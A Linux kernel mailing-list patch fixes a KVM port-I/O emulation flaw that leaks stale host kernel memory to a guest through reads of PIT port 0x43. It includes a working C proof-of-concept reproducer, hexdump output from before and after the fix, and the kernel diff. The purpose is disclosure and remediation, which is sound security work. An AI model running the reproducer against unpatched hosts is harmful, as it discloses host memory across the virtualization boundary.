From: Wanpeng Li <wanpeng...@hotmail.com>

Huawei folks reported a read out-of-bounds vulnerability in kvm pio emulation.

- "inb" instruction to access PIT Mod/Command register (ioport 0x43, write 
only, 
  a read should be ignored) in guest can get a random number.
- "rep insb" instruction to access PIT register port 0x43 can control memcpy() 
  in emulator_pio_in_emulated() to copy max 0x400 bytes but only read 1 bytes, 
  which will disclose the unimportant kernel memory in host but no crash.

The similar test program below can reproduce the read out-of-bounds 
vulnerability:

#include <stdio.h>
#include <sys/io.h>
#include <string.h>
#include <ctype.h>
#include <err.h>
 
#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 8
#endif
 
void hexdump(void *mem, unsigned int len)
{
        unsigned int i, j;
        
        for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % 
HEXDUMP_COLS) : 0); i++)
        {
                /* print offset */
                if(i % HEXDUMP_COLS == 0)
                {
                        printf("0x%06x: ", i);
                }
 
                /* print hex data */
                if(i < len)
                {
                        printf("%02x ", 0xFF & ((char*)mem)[i]);
                }
                else /* end of block, just aligning for ASCII dump */
                {
                        printf("   ");
                }
                
                /* print ASCII dump */
                if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1))
                {
                        for(j = i - (HEXDUMP_COLS - 1); j <= i; j++)
                        {
                                if(j >= len) /* end of block, not really 
printing */
                                {
                                        putchar(' ');
                                }
                                else if(isprint(((char*)mem)[j])) /* printable 
char */
                                {
                                        putchar(0xFF & ((char*)mem)[j]);        
                                }
                                else /* other char */
                                {
                                        putchar('.');
                                }
                        }
                        putchar('\n');
                }
        }
}

int main(void)
{
        int i;
        if (iopl(3))
        {
                err(1, "set iopl unsuccessfully\n");
                return -1;
        }
        static char buf[0x40];

        /* test ioport 0x40,0x41,0x42,0x43,0x44,0x45 */

        memset(buf, 0xab, sizeof(buf));

        asm volatile("push %rdi;");
        asm volatile("mov %0, %%rdi;"::"q"(buf));

        asm volatile ("mov $0x40, %rdx;");
        asm volatile ("in %dx,%al;");
        asm volatile ("stosb;");

        asm volatile ("mov $0x41, %rdx;");
        asm volatile ("in %dx,%al;");
        asm volatile ("stosb;");

        asm volatile ("mov $0x42, %rdx;");
        asm volatile ("in %dx,%al;");
        asm volatile ("stosb;");

        asm volatile ("mov $0x43, %rdx;");
        asm volatile ("in %dx,%al;");
        asm volatile ("stosb;");

        asm volatile ("mov $0x44, %rdx;");
        asm volatile ("in %dx,%al;");
        asm volatile ("stosb;");

        asm volatile ("mov $0x45, %rdx;");
        asm volatile ("in %dx,%al;");
        asm volatile ("stosb;");

        asm volatile ("pop %rdi;");
        hexdump(buf, 0x40);

        printf("\n");

        /* ins port 0x40 */

        memset(buf, 0xab, sizeof(buf));

        asm volatile("push %rdi;");
        asm volatile("mov %0, %%rdi;"::"q"(buf));

        asm volatile ("mov $0x20, %rcx;");
        asm volatile ("mov $0x40, %rdx;");
        asm volatile ("rep insb;");

        asm volatile ("pop %rdi;");
        hexdump(buf, 0x40);

        printf("\n");

        /* ins port 0x43 */

        memset(buf, 0xab, sizeof(buf));

        asm volatile("push %rdi;");
        asm volatile("mov %0, %%rdi;"::"q"(buf));

        asm volatile ("mov $0x20, %rcx;");
        asm volatile ("mov $0x43, %rdx;");
        asm volatile ("rep insb;");

        asm volatile ("pop %rdi;");
        hexdump(buf, 0x40);

        printf("\n");
        return 0;
}

The vcpu->arch.pio_data buffer is used by both in/out instrutions emulation
w/o clear after using which results in some random datas are left over in 
the buffer. Guest reads port 0x43 will be ignored since it is write only,
however, the function kernel_pio() can't distigush this ignore from successfully
reads data from device's ioport. There is no new data fill the buffer from 
port 0x43, however, emulator_pio_in_emulated() will copy the stale data in 
the buffer to the guest unconditionally. This patch fixes it by clearing the 
buffer before in instruction emulation to avoid to grant guest the stale data 
in the buffer.

In addition, string I/O is not supported for in kernel device. So there is no 
iteration to read ioport %RCX times for string I/O. The function kernel_pio()
just reads one round, and then copy the io size * %RCX to the guest 
unconditionally,
actually it copies the one round ioport data w/ other random datas which are 
left 
over in the vcpu->arch.pio_data buffer to the guest. This patch fixes it by 
introducing the string I/O support for in kernel device in order to grant the 
right 
ioport datas to the guest.

Before the patch:

0x000000: fe 38 93 93 ff ff ab ab .8......
0x000008: ab ab ab ab ab ab ab ab ........
0x000010: ab ab ab ab ab ab ab ab ........
0x000018: ab ab ab ab ab ab ab ab ........
0x000020: ab ab ab ab ab ab ab ab ........
0x000028: ab ab ab ab ab ab ab ab ........
0x000030: ab ab ab ab ab ab ab ab ........
0x000038: ab ab ab ab ab ab ab ab ........

0x000000: f6 00 00 00 00 00 00 00 ........
0x000008: 00 00 00 00 00 00 00 00 ........
0x000010: 00 00 00 00 4d 51 30 30 ....MQ00
0x000018: 30 30 20 33 20 20 20 20 00 3    
0x000020: ab ab ab ab ab ab ab ab ........
0x000028: ab ab ab ab ab ab ab ab ........
0x000030: ab ab ab ab ab ab ab ab ........
0x000038: ab ab ab ab ab ab ab ab ........

0x000000: f6 00 00 00 00 00 00 00 ........
0x000008: 00 00 00 00 00 00 00 00 ........
0x000010: 00 00 00 00 4d 51 30 30 ....MQ00
0x000018: 30 30 20 33 20 20 20 20 00 3    
0x000020: ab ab ab ab ab ab ab ab ........
0x000028: ab ab ab ab ab ab ab ab ........
0x000030: ab ab ab ab ab ab ab ab ........
0x000038: ab ab ab ab ab ab ab ab ........

After the patch:

0x000000: 1e 02 f8 00 ff ff ab ab ........
0x000008: ab ab ab ab ab ab ab ab ........
0x000010: ab ab ab ab ab ab ab ab ........
0x000018: ab ab ab ab ab ab ab ab ........
0x000020: ab ab ab ab ab ab ab ab ........
0x000028: ab ab ab ab ab ab ab ab ........
0x000030: ab ab ab ab ab ab ab ab ........
0x000038: ab ab ab ab ab ab ab ab ........

0x000000: d2 e2 d2 df d2 db d2 d7 ........
0x000008: d2 d3 d2 cf d2 cb d2 c7 ........
0x000010: d2 c4 d2 c0 d2 bc d2 b8 ........
0x000018: d2 b4 d2 b0 d2 ac d2 a8 ........
0x000020: ab ab ab ab ab ab ab ab ........
0x000028: ab ab ab ab ab ab ab ab ........
0x000030: ab ab ab ab ab ab ab ab ........
0x000038: ab ab ab ab ab ab ab ab ........

0x000000: 00 00 00 00 00 00 00 00 ........
0x000008: 00 00 00 00 00 00 00 00 ........
0x000010: 00 00 00 00 00 00 00 00 ........
0x000018: 00 00 00 00 00 00 00 00 ........
0x000020: ab ab ab ab ab ab ab ab ........
0x000028: ab ab ab ab ab ab ab ab ........
0x000030: ab ab ab ab ab ab ab ab ........
0x000038: ab ab ab ab ab ab ab ab ........

Reported-by: Moguofang <moguof...@huawei.com>
Cc: Paolo Bonzini <pbonz...@redhat.com>
Cc: Radim Krčmář <rkrc...@redhat.com>
Cc: Moguofang <moguof...@huawei.com>
Signed-off-by: Wanpeng Li <wanpeng...@hotmail.com>
---
 arch/x86/kvm/x86.c | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index b54125b..8440fc6 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -4823,16 +4823,20 @@ static int emulator_cmpxchg_emulated(struct 
x86_emulate_ctxt *ctxt,
 
 static int kernel_pio(struct kvm_vcpu *vcpu, void *pd)
 {
-       /* TODO: String I/O for in kernel device */
-       int r;
+       int r = 0, i;
 
-       if (vcpu->arch.pio.in)
-               r = kvm_io_bus_read(vcpu, KVM_PIO_BUS, vcpu->arch.pio.port,
-                                   vcpu->arch.pio.size, pd);
-       else
-               r = kvm_io_bus_write(vcpu, KVM_PIO_BUS,
-                                    vcpu->arch.pio.port, vcpu->arch.pio.size,
-                                    pd);
+       for (i = 0; i < vcpu->arch.pio.count; i++) {
+               if (vcpu->arch.pio.in)
+                       r = kvm_io_bus_read(vcpu, KVM_PIO_BUS, 
vcpu->arch.pio.port,
+                                           vcpu->arch.pio.size, pd);
+               else
+                       r = kvm_io_bus_write(vcpu, KVM_PIO_BUS,
+                                            vcpu->arch.pio.port, 
vcpu->arch.pio.size,
+                                            pd);
+               if (r)
+                       break;
+               pd += vcpu->arch.pio.size;
+       }
        return r;
 }
 
@@ -4870,6 +4874,8 @@ static int emulator_pio_in_emulated(struct 
x86_emulate_ctxt *ctxt,
        if (vcpu->arch.pio.count)
                goto data_avail;
 
+       memset(vcpu->arch.pio_data, 0, size * count);
+
        ret = emulator_pio_in_out(vcpu, size, port, val, count, true);
        if (ret) {
 data_avail:
-- 
2.7.4

Reply via email to